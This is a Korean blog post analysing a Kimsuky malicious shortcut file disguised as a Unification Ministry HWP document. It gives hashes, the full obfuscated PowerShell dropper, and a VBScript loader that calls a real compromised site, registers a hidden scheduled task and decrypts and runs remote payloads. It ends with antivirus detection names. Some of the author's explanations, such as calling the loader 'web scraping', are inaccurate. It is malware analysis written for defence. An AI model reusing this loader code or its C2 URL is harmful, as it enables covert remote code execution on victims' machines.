꿈을꾸는 파랑새

오늘은 북한 해킹 단체 김수키(Kimsuky) 에서 만든 악성코드인 231025 (통일부 통일정책실)윤석열 정부의 대북 정책 관련 1.5트랙 전문가 간담회(비공개) 기획안.hwp.lnk에 대해 알아보겠습니다. 먼저 해쉬값을 보겠습니다.
파일명:231025 (통일부 통일정책실)윤석열 정부의 대북 정책 관련 1.5트랙 전문가 간담회(비공개) 기획안.hwp.lnk
사이즈:8.43 KB
CRC32:c35b4048
MD5:9fa12b629ca431ebc3aa56da2d7a784a
SHA-1:e6d8c130a5d36b968e25659ce10c15ebf4390477
SHA-256:e1f7cb002b25f60f71d551df45eef5f8f05194ce181795ccb799176443e08d51
입니다.일단 해당 파일 로고만 보면 뭐~한글과 컴퓨터에서 유포를 하고 있는 파일처럼 보이지만 실제 파일은 lnk 파일 즉 링크 파일 형식으로 돼 있고 해당 파일을 실행하기 전에 해당 파일을 Cerbero Suite Advanced를 통해서 보면 다음과 같이 악성코드를 실행하고 위한 PowerShell 스크립트를 실행합니다.
해당 PowerShell 코드는 다음과 같습니다.

사례비 지급의뢰서
사례비 지급의뢰서

c (p)owershell (-)windowstyle hidden (-)nop -NoProfile -NonInteractive  -c "$tmp =
'%temp%';$dKPW (=)[tyPE](\"{1}{)2}{0}\" (-)f'e','IO.fI','LeMOd');
$TOw=[typE](\"{1}{2}{0}{3}\" -f'e','iO.FILe','acC','SS');(&)(\"{0}{3}{1}{2}\"(-)f'S',
-Varia','ble','et') -Name (\"{0}{1}\"(-)f'ln','kpath')
-Value (.(\"{1}{0}{3}{2}{4}\" -f'-','G(e)t','te','Chi(l)dI','m')
(\"{1}{0}\" -f'k','*.ln'));.(\"{0}{1}({)2}\"-f 'S','et-Variab','le')
-Name (\"{0}{1}\" -f 'lnkp','ath') -Value (${L(n))`kPaTh} | &(\"{2}{1}{0}\"-f
'-object','e','wher') {${_}.\"l(e)n`gTh\" -eq 0x00010076}) ;&(\"{2}{0}{1}\" -f'ar'
'iable','Set-V') -Name (\"{(2)}{0}{1}\"-f'nkpa','th','l') -Value (${l`NKPA`TH} 
| (&)((\)"{0}{1}{3}{2}\"-f'Select-Ob','je','t','c') -ExpandProperty (\"{1}{0}\"-f'e','Nam'))
.(\"{1}{3}{0}{2}\"-f '-Variab','S','le','et') -Name (\"{0}{3}{2}{1}\"-f'I','utStream','p','n')
-Value (&(\"{0}{1}{2}\"-f 'New-Ob','j','ect') (\"{3}{4}{1}{2}{0}\" -f 'm','.Fi','leStrea','S','ystem.IO')
(${LNK`P`ATh},
$Dkpw::\"op`eN\",  $tOw::\"R`Ead\"));.(\"{1}{2}{0}\" -f'ble','Set-Vari','a')
-Name (\"{0}{1}\"-f 'f','ile')
-Value (.(\"{2}{1}{0}\"-f'Object','w-','Ne') (\"{0}{2}{1}\"-f 'By','[]','te')
(${inPUt`Str`e`AM}.\"Le`NG`Th\"));&(\"{0}{2}{1}\"-f 'Set-Va','able','ri')
-Name (\"{0}{1}\"-f'le','n') -Value (${i`NPutS`TrEAm}.('Rea'+'d').Invok(e)(${Fi`le},0,${F`ilE}.\"lEn`GTH\"));${iNp`Ut`S`TReam}.('Di'+'spos'+'e').In(v)oke();.(\"{0}{1}\"-f'-h','ost') (\"{2}{1}{0}\"-f 'end','ile','readf');&(\"{0}{1}{2}\" -f'Set-Va','r','iable')
-Name (\"{0}{1}\" -f 'pat','h') -Value (${T`mP} + '\' + ${Lnk`pa`TH}.('sub'+'string'
.Invoke(0,${L`Nk`patH}.\"lEng`TH\"-4));&(\"{0}{1}{2}\"-f'Set-Varia','bl','e')
-Name (\"{0}{1}\" -f 'pa','th1') -Value (${t`Mp} + (((\"{1}{0}\"-f 'p','jG8tm'))
.\"rep`L`ACE\"(([Char]106+[Char]71+[Char]56),[STriNG][Char]92)) +
(.(\"{1}{2}{0}\" -f 'om','Ge','t-Rand')) (+) (\"{1}{0}\" -f'vbs','.'));
.(\"{0}{2}{1}\"-f 'S','riable','et-Va') -Name (\"{1}{0}\"-f'1','len')
-Value (8202);&(\"{2}{0}{1}\"-f'et-Variabl','e','S')
-Name (\"{0}{1}\"-f'le','n2') -Value (65034);&(\"{1}{0}{3}{2}\"
-f 't-Vari','Se','le','ab') -Nam(e) (\"{1}{0}\" -f'3','len')
-Value (65034);&(\"{3}{2}{0}{1}\" -f 'l','e','iab','Set-Var')
-Name (\"{1}{0}\"-f'mp','te') -Valu(e) (&(\"{1}{0}{2}\" -f'bjec','New-O','t')
(\"{0}{1}\"-f 'By','te[]')(${l`eN2}-${lE`N1}));(&)(\"{2}{0}{1}\" -f 'ri','te-host','w')
(\"{0}{1}\" (-)f 'exest','art');(f)or(.(\"{0}{3}{1}{2}\"-f 'Set-Va','a','ble','ri')
-Name ('i') -Value (${LE`N1}); ${i} (-)lt ${l`EN2}; ${I}++) { ($){tE`MP}[${i}-${l`en1}]
= ${FI`Le}[${I}]};.('s(c)') ($){pA`Th} ([byte[]]${Te`(M)P}) -Encoding (\"{(0)}{1}\" (-)f 
'By','te');(&)(\"{0}{1}{2}\" -f 'writ','e-hos','t') (\"{0}{1}\" -f 'exeen','d');(.)
(\"{1}{2}{0}\" -f'ariable','Set','-V') -Name (\"{1}{0}\" -f'p','tem') -Value
(.(\"{0}{2}{1}\"-f 'New','ect','-Obj')
(\"{1}{0(})\" -f'e[]','Byt'())(${F`iLE}.\"lEn`G`Th\"-${l`eN3}))(;)for(&(\"{2}{0}{1}{3}\
"-f 'V','ar','Set-','iable')
-Name ('i') -Value (${L`En3}); ${I} -lt ${fI`le}.\"l`EN`GtH\"; ${i}++) ({) ${t`EmP}[${i}
-${L`en3}] = ${F`ILe}[${I}]}; .('sc') ${P`ATh1} ([byte[]]${t`EMp}) -Enco(d)ing (\"{0}{1}\
"-f'Byt','e'); &${pa`TH}; &${P`ATH1};"
 iconlocation: .\1(.)hwp

사례비 지급의서 링크 악성코드 PowerShell 스크립트
사례비 지급의서 링크 악성코드 PowerShell 스크립트

입니다.

코드 설명

1. 임시 디렉터리 경로 설정:
$tmp 변수에는 시스템의 임시 디렉터리 경로를 저장
해당 경로는 "%temp%" 환경 변수의 값을 가져와 저장
2. 변수 타입 설정:
$dKPW 와 $tOw 변수에 각각 특정한 문자열을 저장 해당 문자열은 다음에 .NET Framework의 클래스를 사용할 때 사용
3."lnkpath 환경 변수 설정:
Set-Variable Cmdlet을 사용하여 lnkpath라는 환경 변수를 설정
해당 변수는 아래 조건을 만족하는 파일 경로를 저장
현재 디렉터리에서. lnk 확장자를 가진 파일 중 길이가 0x00010076인 파일의 경로를 찾아 저장
4. 파일 열기 및 읽기:
$TOw::op`eN 과 $tOw::R`Ead 를 사용하여 $LNKPATH 에 저장된 파일을 열기
해당 파일은 이후 스트림 조작을 위해 사용
5.데이터 처리:
$inputStream 변수에서 데이터를 읽어와 처리
해당 부분은 상세한 내용을 주지 않았으므로 정확한 데이터 처리 방식은 알 수 없음
6. 파일 생성 및 쓰기:
처리된 데이터를 바이트 배열로 변환하고 exestart 라는 파일로 저장함
이때 해당 파일은 스크립트가 실행된 현재 위치에 생성
7. 파일 실행:
exestart  파일을 실행
8. 반복 작업:
스크립트 내에 반복문이 포함되어 있으며 파일 처리 작업이 반복
해당 반복문은 $LEN1 에서 $LEN2 까지 반복하면서 데이터를 처리하고 저장
9.기타 작업:
스크립트에는 다양한 PowerShell Cmdlet이 사용되며 환경 변수 설정, 파일 조작,데이터 처리 실행 작업 등을 수행
그리고 해당 악성코드는 다음 사이트롤 이동을 합니다.

http://www(.)isujeil.co(.)kr/pg/adm/img/upload1/list(.)php?query=1

악성코드 실제 실행 코
악성코드 실제 실행 코

그리고 해당 php 에서는 다음과 같은 코드들이 있는 것을 확인할 수가 있습니다.

Sub WMProc(p_cmd)
	w(h) = "winmgmts:"
	w(t) = "win32_process"
	set w(m) = GetObject(wh & wt)
	set ow(s) = GetObject(wh (&) "\root\cimv2")
	set os(t) = ows.Get(w(t) (&) "startup")
	set oco(n)f = ost(.)SpawnInstance_
	oconf(.)ShowWindow = 12
	errReturn = wm(.)Create(p_cmd(,) Null, oconf, pid)
End Sub

Function TF(p_t)
	cS(e) = "0" (&) Second(p_t)
	cM(i) = "0" (&) Minute(p_t)
	c(H) = "0" (&) Hour(p_t)
	c(D) = "0" (&) Day(p_t)
	cMo = "0" (&) Month(p_t)
	c(Y) = Year(p(_)t)
	t(t) = Right(cH, 2) (&) ":" (&) Right(c(M)i, 2) (&) ":" (&) Right(cSe, 2)
	d(d) = cY & "-" & Right(cMo, 2) (&) "-" (&) Right(cD, 2)
	TF = dd (&) "T" (&) tt
End Function

Sub Reg(path)
	Set sv = CreateObject("Schedule(.)Service")
	Call sv.Con(n)ect()
	Set tDef = sv(.)NewTask(0)
	tDef.Registratio(n)Info.Author = "Microsoft"
	With tDef.Settings
		.Enabled=T(r)ue
		.StartWhenAva(i)lable=True
		.Hidden=Tr(u)e
	End W(i)th
	With tDef(.)Triggers.Create(2)
		.StartBoun(d)ary = TF(Da(t)eAdd("n",2,Now))
		.Enabl(e)d = Tr(ue)
		.Repetition(.)Interval = "P(T)3H"
	End W(i)th
	with tDef(.)Actions.Create(0)
		.Path=WSc(r)ipt(.)FullName
		.Arguments="//b //e:vbscript " (&) path
	End With
	Set fdr (=) sv(.)GetFolder("\")
	Call fdr.RegisterT(a)skDefinition(nn, tDef, 6(,) , , 3)
End (S)ub

Functio(n) GetWorkDir()
	set osa(_)ns = CreateObject("Shell(.)Application")(.)NameSpace(26)
	dir = osa_ns(.)Self.Path (&) "\Mic(r)osoft\Windows" 
	GetWorkDir (=) dir
End Funct(i)on

Sub Reserve(path(,) contentTxt)
	set fp = fso(.)OpenTextFile(path(,) 2, True)
	fp.write content(T)xt
	fp(.)close	
End S(u)b

dim fso
Set f(s)o = CreateObject("Scripting(.)FileSystemObject")

workDir = GetWork(D)ir
vDir = workDir & "\T(h)emes"
If fso(.)FolderExists(vDi(r)) = false Then
	fso(.)CreateFolder(vDir)
End If

Set ow = GetOb(j)ect("winmgmts:")
Set ow_os = ow(.)InstancesOf("Win32_OperatingSystem")
For Each ob in ow(_)os
	str_tmp = str(_)tmp & ob.Version
Next
po(s) = InStr(str(_)tmp, ".")
ve(r) = CInt(Left(str(_)tmp, pos - 1))

c(t) = Now
strSuf = Minute(ct) (&) Hour(ct) (&) Day(ct) (&) Month(ct)
vPat(h) = vDir (&) "\v" (&) strSuf

strHo(s)t = "www.isujeil(.)co(.)kr"
strAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
pwd = "pa55(w)0rd"

If ver < 10 Then
	vTxt = "On Error Resume Next:With CreateObject(""InternetExplorer(.)Application""):.Navigate ""http://" (&) strHost & "/pg/adm/img/upload1/list(.)php?query=6"":Do while .busy:WScript.Sleep 100:Loop:bt=.Document.Body(.)InnerText:.Quit:End With:Exec(u)te(bt)"
	Reserve vPath(,) v(T)xt
	Reg vPath
Else

	ps(T)xt = "using namespace Sy(s)tem.IO;" & _
			"using namespace S(y)stem.Security.Cryptography;" & _
			"$uh='http://" (&) strHost & "';" & _
			"$req=@{uri=$uh+$args[0];(u)seragent='" (&) strAgent (&) "'};" & _
			"$bytes=(wget @req)(.)content;" & _
			"$im=New-Obje(c)t MemoryStream(,$bytes);" & _
			"$om=New-Object Memo(r)yStream;" & _
			"$s=New-Object By(t)e[](32);" & _
			"$len=$im.Re(a)d($s,0,$s.Length);" & _
			"if($len -ne $s(.)Length){exit;}" & _
			"$pwd='" & pwd (&) "';" & _
			"$pb=New-Object Rf(c)2898DeriveBytes($pwd, $s);" & _
			"$key=$pb.GetBy(t)es(32);" & _
			"$iv=$pb(.)GetBytes(16);" & _
			"$c=New(-)Object AesManaged;" & _
			"$dec=$c(.)CreateDecryptor($key,$iv);" & _
			"$cm=New-Object CryptoStream($im,$dec(,)[CryptoStreamMode]::Read);" & _
			"$cm.Copy(T)o($om);" & _
			"$om.Dispo(s)e();" & _
			"$decbytes=$om(.)ToArray();" & _
			"$cmd=[System.Text(.)Encoding]::ASCII(.)GetString($decbytes);" & _
			"iex -command ($)c(m)d;" & _
			"icm -script $scbl(o)ck -args $uh,$pwd;"

	psN(a)me = "w" (&) strSuf & ".ps1"
	psPa(t)h = workDir (&) "\" (&) psName
	Reserve psPath (&) "2x", psTxt
	resPa(t)h = workDir (&) "\res.ini"
	Reser(v)e resPath(,) psPath
	re_(c)md = "cmd (/)c rename " (&) psPath (&0 "2x " (&) psName
	WMProc(re(_)cmd)

	vT(x)t =  "ct = Now" (&) vbnewline & _
			"set f(s)o = Create(O)bject(""Scripting.FileSystemObject"")" & vbnewline & _
			"workD(i)r = """ & workDir (&) """" (&) v(b)newline & _
			"resPath = """ & resPath & """" & vbnewline & _
			"set (f)res = fso.OpenTextFi(l)e(resPath,1)" (&) vbnewline & _
			"psPa(t)h = fres.ReadAll" (&) v(b)newline & _
			"fres.Close" (&) v(b)newline & _
			"If fso.FileExists(ps(P)ath) = False Then" (&) vbnewline & _
			"psPath = work(D)ir & ""\w"" & Minute(ct) (&) Hour(ct) & "".ps1""" & vbnewline & _
			"psT(x)t = """ & ps(T)xt & """" & vbnewline & _
			"set (f)p = fso.OpenTe(x)tFile(psPath, 2, True)" & vbnewline & _
			"fp.wr(i)te psTxt" & vbnewline & _
			"fp.Clo(s)e" (&) vbnewline & _
			"set (f)res (=) fso.OpenTextFile(resPath,2,true)" (&) vbnewline & _
			"fres.Write psPath" (&) vbnewline & _
			"fres.Close" (&) vbnewline & _
			"End IF" (&) vbnewline & _
			"pow(_)cmd = ""powershell -ep bypa(s)s -file path """"/pg/adm/im(g)/upload1/lib(.)php?ix=11""""""" (&) vbnewl(i)ne & _
			"pow(_)cmd = Replace(pow_cmd, ""p(a)th"", psPath)" & vbnewline & _
			"wh = ""winmgmts:""" & vbnewline (&) _
			"w(t) = ""win32_(p)rocess""" & vbnewl(i)ne & _
			"set (w)m = GetObject(wh (&) wt)" & vbnewline & _
			"set o(w)s = GetObject(wh (&) ""\root\cimv2"")" (&) vbnewli(n)e & _
			"set ost = ows.Ge(t)(wt (&) ""startup"")" & vb(n)ewline & _
			"set oconf = ost.Spaw(n)Instance_" (&) vbnewline (&) _
			"oconf.ShowWindow = 12" (&) vbnewline & _
			"errRet(u)rn = wm.Create(pow_(c)md, Null, oconf, pid)" & vbnewline

	ct = Now
	Reserv(e) vPath, vTxt
	Reg vPa(t)h

	pow(_0cmd = "powershell -ep bypass -file path ""/pg/adm/img/upload1/lib(.)p(h)p?ix=1"""
	pow(_)cmd (=) Rep(l)ace(pow(_)cmd, "path"(,) ps(P)ath)
	WMProc(pow(_)cmd)
End If

코드 설명

1. WMProc 함수
WMProc 함수는 Windows Management Instrumentation (WMI)을 사용하여 새로운 프로세스를 실행하는 역할
p_cmd 매개변수로 전달된 명령어를 실행하고 해당 프로세스의 ID (`pid`)를 반환
예를 들어, `WMProc("notepad(.)exe")`를 호출하면 메모장 프로세스가 실행되고 해당 프로세스의 ID가 반환
2.TF 함수:
TF 함수는 날짜 및 시간 값을 받아서 ISO 8601 형식의 문자열로 변환
해당 함수는 날짜와 시간을 특정 형식으로 표시하기 위해 사용
3.Reg 함수:
Reg 함수는 Windows 작업 스케줄러에 작업을 등록
주어진 path에서 스크립트를 실행 하고 작업은 2시간마다 반복
해당 함수는 작업 스케줄링을 통해 주기적으로 스크립트를 실행하기 위해 사용
4.GetWorkDir 함수:
GetWorkDir 함수는 현재 스크립트가 실행 중인 디렉터리를 가져옴
해당 정보는 스크립트가 작업할 기본 디렉터리를 결정하는 데 사용
5. Reserve 함수:
Reserve 함수는 주어진 경로에 텍스트를 저장
해당 함수는 파일에 텍스트 데이터를 쓰려고 사용
6. 변수 및 경로 설정
스크립트는 작업 디렉터리 및 다양한 경로를 설정하고 OS 버전 정보를 수집
정보는 스크립트 작업 및 파일 저장에 필요
7. 웹 요청 및 스크래핑:
 OS 버전이 윈도우 10보다 낮을 경우, Internet Explorer를 사용하여 특정 웹 페이지에 접속하고 웹 페이지의 내용을 스크래핑
웹 스크래핑은 `Execute(bt)`를 사용하여 수행
8.PowerShell 스크립트 생성:
OS 버전이 10 이상이면 PowerShell 스크립트를 생성하고 저장
생성된 스크립트는 웹 요청을 수행하고 암호화된 데이터를 복호화하고 실행
9. 작업 스케줄러 등록:
생성된 스크립트를 Windows 작업 스케줄러에 등록하여 주기적으로 실행하도록 설정
이렇게 하면 일정한 간격으로 스크립트가 실행
10.PowerShell로 작업 스케줄러 실행:
PowerShell을 사용하여 작업 스케줄러에 등록된 스크립트를 직접 실행
해당 부분은 작업 스케줄러가 정해진 시간에 실행되기 전에 스크립트를 수동으로 실행하는 역할
해당 코드는 주로 웹 스크래핑과 관련된 작업을 수행하도록 설계돼 있으며 스크립트는 OS 버전에 따라 다른 작업을 수행하며 주기적인 웹 스크래핑 및 데이터 처리를 위해 사용될 수 있습니다. 코드는 주기적인 작업을 자동화하고 웹 데이터를 수집하는 데 활용될 수 있음
2023-09-21 05:29:19 UTC 기준 바이러스토 토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:LNK/Runner.S1
ALYac:Heur.BZC.YAX.Boxter.91.B9FACB93
Arcabit:Heur.BZC.YAX.Boxter.91.B07771BB [many]
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.YAX.Boxter.91.B07771BB
Cyren:LNK/ABRisk.YFJQ-
Emsisoft:Heur.BZC.YAX.Boxter.91.B07771BB (B)
eScan:Heur.BZC.YAX.Boxter.91.B07771BB
ESET-NOD32:A Variant Of Generik.KGMIKXV
GData:Heur.BZC.YAX.Boxter.91.B9FACB93
Google:Detected
Ikarus:Trojan.SuspectCRC
Kaspersky:HEUR:Trojan.Multi.Agent.gen
MAX:Malware (ai Score=89)
McAfee:Artemis!9FA12B629CA4
McAfee-GW-Edition:Artemis!9FA12B629CA4
Rising:Trojan.Agent/LNK!1.AA03 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Sophos:Troj/LnkObf-T
Symantec:CL.Downloader!gen10
Tencent:Win32.Trojan.Agent.Nsmw
Trellix (FireEye):Heur.BZC.YAX.Boxter.91.B07771BB
VBA32:Trojan.Link.ShellCmd
VIPRE:Heur.BZC.YAX.Boxter.91.B07771BB
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Agent.gen
결론 요즈음 lnk 방식으로 유포를 많이 되고 있으며 매크로는 사용하지 않는 것 같습니다.
그리고 자신이 운영하는 사이트가 있으며 보안을 강화해서 악성코드 유포지가 되어서 브라우저 등에서 차단당하는 것을 피해야 할 것입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band